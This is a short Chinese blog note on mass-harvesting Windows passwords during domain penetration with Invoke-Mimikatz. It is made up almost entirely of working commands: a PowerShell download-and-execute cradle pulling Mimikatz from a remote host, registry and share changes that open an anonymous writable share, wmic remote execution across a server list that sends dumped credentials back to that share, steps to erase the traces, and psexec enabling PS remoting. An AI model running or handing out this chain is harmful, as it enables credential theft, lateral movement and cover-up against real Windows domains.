域渗透中使用Invoke-Mimikatz批量获取Windows密码

笔记 227 字 大概 1 分钟 380 次

一般来说可以使用以下方式获取登陆windows的密码:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/1OropX'); Invoke-Mimikatz -DumpCreds"

但是通常在域渗透的时候,我们可能想要获得更多的密码,针对server08以后的服务器获取ntds.dit的hash以后还不一定能破解出来,所以可以通过Mimikatz来获取明文密码,但是一台一台登陆去获取会很慢且不方便,所以这里介绍一个批量的方法:

创建共享文件夹

cd \
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t

修改注册表

reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ open 
reg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1

修改共享目录到open

在共享目录open添加下列文件

1)执行脚本powershellme.cmd,脚本内容:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.1\open\%COMPUTERNAME%.txt 2>&1
192.168.1.1是设置共享的主机ip地址。

2)Invoke-Mimikatz.ps1
3)mongoose
4)服务器列表serverlist.txt,换行分割。

运行mongoose,默认开启端口8080

执行wmic:

wmic /node:@serverlist.txt process call create "\\192.168.1.1\open\powershellme.cmd"
#带凭证
wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\\192.168.1.1\open\powershellme.cmd"

在共享目录察看各个服务器的密码

清除记录:

1)关掉mongoose,并删除
2)net share open /delete
3)删除共享目录及文件
4)修改注册表


可以使用如下命令开启PowerShell remoting

psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"
文章目录
END

本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。

发表感想